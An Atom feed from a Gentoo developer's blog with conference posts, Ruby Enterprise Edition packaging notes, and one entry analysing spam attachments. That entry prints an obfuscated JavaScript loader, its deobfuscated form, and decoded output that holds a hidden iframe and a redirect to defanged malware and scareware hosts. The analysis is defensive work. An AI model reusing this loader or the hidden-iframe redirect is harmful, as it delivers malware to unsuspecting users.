<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>http://a3li.li/</id>
  <title>~a3li/</title>
  <updated>2011-05-10T22:00:00Z</updated>
  <link rel="alternate" href="http://a3li.li/"/>
  <link rel="self" href="http://a3li.li/atom.xml"/>
  <author>
    <name>Alex Legler</name>
    <uri>http://a3li.li/</uri>
  </author>
  <entry>
    <id>tag:a3li.li,2011-05-11:/2011/05/11/gentoo_linuxtag_2011.html</id>
    <title type="html">Gentoo @ Linuxtag 2011</title>
    <published>2011-05-10T22:00:00Z</published>
    <updated>2011-05-11T14:44:28Z</updated>
    <link rel="alternate" href="http://a3li.li/2011/05/11/gentoo_linuxtag_2011.html"/>
    <content type="html">&lt;p&gt;Greetings from Berlin and the first day of &lt;a href="http://www.linuxtag.org"&gt;LinuxTag 2011&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;We have set up our booth (152b in Hall 7.2b) yesterday to be ready for all the visitors.&lt;/p&gt;

&lt;p&gt;This year, we're glad to have new merchandise to offer:&lt;/p&gt;

&lt;div style="text-align: center;"&gt;
&lt;img src="/files/gentoo_mug.jpg" alt="Gentoo Mugs" /&gt;&lt;br /&gt;
Great mugs featuring Larry the Cow!
&lt;/div&gt;


&lt;p&gt;Also, we have the posters that &lt;a href="http://blog.hartwork.org/"&gt;Sebastian&lt;/a&gt; &lt;a href="http://blog.hartwork.org/?p=1177"&gt;blogged about&lt;/a&gt; a few days ago for free!&lt;/p&gt;

&lt;p&gt;Come by and get the latest Gentoo schwag and a chance to talk to/yell at/bribe/hug/meet some of our devs.&lt;/p&gt;
</content>
    <summary type="html">Gentoo has a booth at LinuxTag 2011 in Berlin</summary>
  </entry>
  <entry>
    <id>tag:a3li.li,2010-12-25:/2010/12/25/gentoo_27c3.html</id>
    <title type="html">Gentoo @ 27C3</title>
    <published>2010-12-24T23:00:00Z</published>
    <updated>2011-05-02T13:07:57Z</updated>
    <link rel="alternate" href="http://a3li.li/2010/12/25/gentoo_27c3.html"/>
    <content type="html">&lt;p&gt;Yes we will be there! Compiling all the way...&lt;/p&gt;




&lt;p&gt;You can find the &lt;a href="http://events.ccc.de/congress/2010/wiki/Gentoo"&gt;Gentoo folks&lt;/a&gt; on &lt;a href="http://events.ccc.de/congress/2010/uploads/c/c0/Ebene_C.pdf"&gt;&lt;strong&gt;Level C&lt;/strong&gt;&lt;/a&gt;, next to Debian.&lt;/p&gt;




&lt;p&gt;Come visit us for live bugfixing, support, ebuild writing, bug wrangling, CFLAGS comparing, Mate drinking and whatever else you want to do :)&lt;/p&gt;

</content>
    <summary type="html">Gentoo will be at 27C3 in Berlin.</summary>
  </entry>
  <entry>
    <id>tag:a3li.li,2010-09-20:/2010/09/20/looking_at_obfuscated_javascript_spam.html</id>
    <title type="html">Looking At Obfuscated Javascript Spam</title>
    <published>2010-09-19T22:00:00Z</published>
    <updated>2010-09-20T20:43:59Z</updated>
    <link rel="alternate" href="http://a3li.li/2010/09/20/looking_at_obfuscated_javascript_spam.html"/>
    <content type="html">&lt;p&gt;The typical Gentoo developer tends to get a lot of email, and that usually means a lot of spam.
Today, a massive amount of nasty spam messages arrived in my inbox, sadly they weren't
caught by any spamassassins on the way to my inbox:&lt;/p&gt;

&lt;pre class="CodeRay"&gt;&lt;code&gt;Subject: notes from last week
Date: Mon, 20 Sep 2010 10:57:09 -0600

Attached are notes from last week. Let me know if there are any errors or major omissions. Thanks.

[77476Officers Meeting.html  text/html (649 bytes)]&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;So I had 25 emails, all with a around 650 bytes of html attached, all escaping the spam filters.
Okay, you caught my attention, stop sending emails already. Let's see:&lt;/p&gt;

&lt;pre class="no-uv"&gt;
&lt;code&gt;&amp;lt;script language=&amp;quot;JavaScript&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;function p2gd(wja8){var
jty7,lwpr=&amp;quot;&amp;quot;,uuar=&amp;quot;qhliu-t\&amp;quot;x=; o/&amp;gt;.n0egc:pmsvafr&amp;lt;&amp;quot;,ss0n,gpck,x4ab=uuar.length;eval(unescape(&amp;quot;%66un%63ti%6Fn v%79dc%28cm%798){%6Cwp%72+=%63my8%7D&amp;quot;));for(jty7=0;jty7&amp;lt;wja8.length;jty7++){gpck=wja8.charAt(jty7);ss0n=uuar.indexOf(gpck);if(ss0n&amp;gt;-1){ss0n-=(jty7+1)%x4ab;if(ss0n&amp;lt;0){ss0n+=x4ab;}vydc(uuar.charAt(ss0n));}else{vydc(gpck);}}eval(unescape(&amp;quot;%64oc%75me%6Et.w%72it%65(l%77pr)%3Blw%70r=%22%22;&amp;quot;));}p2gd(&amp;quot;qv:;h0x&amp;gt;.lnq/ee av0xec eaixe n\&amp;quot;cg;&amp;gt;/se/x/:&amp;gt;c:xxhla=c e:.vhafuxuate/csqm-apq0m :fl-\&amp;quot;&amp;quot;);&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;To display this page you need a browser that supports JavaScript.&amp;lt;/noscript&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Oh, lots of obfuscated code. Especially interesting is the Javascript (with the blue background).
After properly indenting and renaming the variables to something useful, you'll get this:&lt;/p&gt;

&lt;pre class="no-uv"&gt;
&lt;code&gt;function func_1(param){
    var i,
    output=&amp;quot;&amp;quot;,
    str1=&amp;quot;qhliu-t\&amp;quot;x=; o/&amp;gt;.n0egc:pmsvafr&amp;lt;&amp;quot;,
    str1_position,
    param_char,
    str1_length=str1.length;
    
    function add_to_output(str) { // was eval(unescape(...));
        output += str;
    }

    for(i = 0; i &amp;lt; param.length; i++) {
        param_char = param.charAt(i);
        str1_position = str1.indexOf(param_char);
        if(str1_position &amp;gt; -1) {
            str1_position -= (i+1) % str1_length;
            if (str1_position &amp;lt; 0) {
                str1_position += str1_length;
            }
            add_to_output(str1.charAt(str1_position));
        } else {
            add_to_output(param_char);
        }
    }

    document.write(output); // was eval(unescape(...));
    output=&amp;quot;&amp;quot;;
}

func_1(&amp;quot;qv:;h0x&amp;gt;.lnq/ee av0xec eaixe n\&amp;quot;cg;&amp;gt;/se/x/:&amp;gt;c:xxhla=c e:.vhafuxuate/csqm-apq0m :fl-\&amp;quot;&amp;quot;);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;What you can see is a function &lt;code&gt;func_1&lt;/code&gt; that is called with a string that looks like gibberish as parameter (line 32).
The function then iterates over every char in that string (line 14), does some magic to select a certain character from str1 or param,
and then adds it to the output variable (line 22 or 24).&lt;/p&gt;

&lt;p&gt;Looking at that character selection algorithm, you can see that it first checks if the selected character from &lt;code&gt;param&lt;/code&gt; is included in &lt;code&gt;str1&lt;/code&gt;.
If that is the case, it'll pick one character from str1, following the calculation in line 18.
I'm not a crypto expert, but I think that snippet is similar to a &lt;a href="http://en.wikipedia.org/wiki/Polyalphabetic_cipher"&gt;Polyalphabetic cipher&lt;/a&gt;
like the Vigen&#232;re cipher. The modulo used in the calculation wraps the key (&lt;code&gt;str1&lt;/code&gt;) so that it matches the length of &lt;code&gt;param&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So it generates a string, and then writes it into the document, thus making the Browser parse it (line 61).&lt;/p&gt;

&lt;h3&gt;Cutting the long story short&lt;/h3&gt;

&lt;p&gt;That string it generates is sadly quite boring...&lt;/p&gt;

&lt;p&gt;I used a website called &lt;a href="http://jsunpack.jeek.org/dec/go?report=61078c4c8fcb52f59025b0b7dfb06c14c68b85c0"&gt;jsunpack&lt;/a&gt;
to see the generated code, you might as well have replaced the &lt;code&gt;document.write&lt;/code&gt; with &lt;code&gt;alert()&lt;/code&gt;, but meh.&lt;/p&gt;

&lt;p&gt;Here's the text:&lt;/p&gt;

&lt;pre class="no-uv"&gt;
&lt;code&gt;PLEASE WAITING.... 4 SECONDS
&amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;4;url=hXXp://scaner-high.cz.cc/scanner10/?afid=24&amp;quot; /&amp;gt;
&amp;lt;iframe width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot; src=&amp;quot;hXXp://finwizonline.com/news/&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;It renders an iframe that links to a PHP script which likely is a "how many people clicked this" counter and
will redirect people to that website in four seconds to ensure they have been counted.&lt;/p&gt;

&lt;p&gt;That &lt;code&gt;/news/&lt;/code&gt; website again redirects to another website which is no longer available.&amp;nbsp;:(
At least a Google search suggests that this site hosts malicious content, Windows trojans specifically.&lt;/p&gt;

&lt;h3&gt;*yawn*&lt;/h3&gt;

&lt;p&gt;So, nothing to fear for us Linux people. It started being quite interesting, but besides an interesting obfuscation method, there were no fancy exploits to find.&lt;/p&gt;

&lt;p&gt;I'll go setup a spamasassin rule to finally get rid of these messages now. &lt;em&gt;sigh&lt;/em&gt;&lt;/p&gt;
</content>
    <summary type="html">Taking a look at some Javascript spam that appeared in my inbox.</summary>
  </entry>
  <entry>
    <id>tag:a3li.li,2010-05-23:/2010/05/23/awesome_things_to_do_with_gentoo_and_three_commands_1.html</id>
    <title type="html">Awesome things to do with Gentoo and three commands (1)</title>
    <published>2010-05-22T22:00:00Z</published>
    <updated>2010-09-12T16:52:20Z</updated>
    <link rel="alternate" href="http://a3li.li/2010/05/23/awesome_things_to_do_with_gentoo_and_three_commands_1.html"/>
    <content type="html">&lt;p&gt;today: &lt;strong&gt;Installing Ruby on Rails with Ruby Enterprise Edition&lt;/strong&gt; (assuming a &lt;tt&gt;~arch&lt;/tt&gt; system):&lt;/p&gt;




&lt;pre class="CodeRay"&gt;&lt;code&gt;# echo 'RUBY_TARGETS=&amp;quot;ruby18 ree18&amp;quot;' &amp;gt;&amp;gt; /etc/make.conf
# emerge rails
# eselect ruby set rubyee18&lt;/code&gt;&lt;/pre&gt;




&lt;p&gt;next week: &lt;strong&gt;World domination with three easy commands&lt;/strong&gt;. ;p&lt;/p&gt;

</content>
    <summary type="html">Today: Installing Ruby on Rails with Ruby Enterprise Edition</summary>
  </entry>
  <entry>
    <id>tag:a3li.li,2010-04-03:/2010/04/03/enterprisey_stuff.html</id>
    <title type="html">Enterprisey Stuff</title>
    <published>2010-04-02T22:00:00Z</published>
    <updated>2010-09-12T16:48:45Z</updated>
    <link rel="alternate" href="http://a3li.li/2010/04/03/enterprisey_stuff.html"/>
    <content type="html">&lt;p&gt;Just a quick message: I have added &lt;b&gt;Ruby Enterprise Edition&lt;/b&gt; to the Portage tree, ready for the adventurous to test ;)&lt;/p&gt;




&lt;p&gt;The package is in &lt;tt&gt;dev-lang/ruby-enterprise&lt;/tt&gt;, but you'll need to unmask it first. To install rubygems, you should also unmask the &lt;tt&gt;ruby_targets_ree18&lt;/tt&gt; USE flag in &lt;tt&gt;/etc/portage/profile/use.mask&lt;/tt&gt;.&lt;/p&gt;




&lt;p&gt;The usual disclaimer: The package might still kill little bonsaikittens, so be careful!&lt;br /&gt;
Does it work? Does it not? Let us know: &lt;tt&gt;#gentoo-ruby&lt;/tt&gt; on freenode as usual.&lt;/p&gt;

</content>
    <summary type="html">Gentoo now offers Ruby Enterprise Edition in the official package repository.</summary>
  </entry>
</feed>

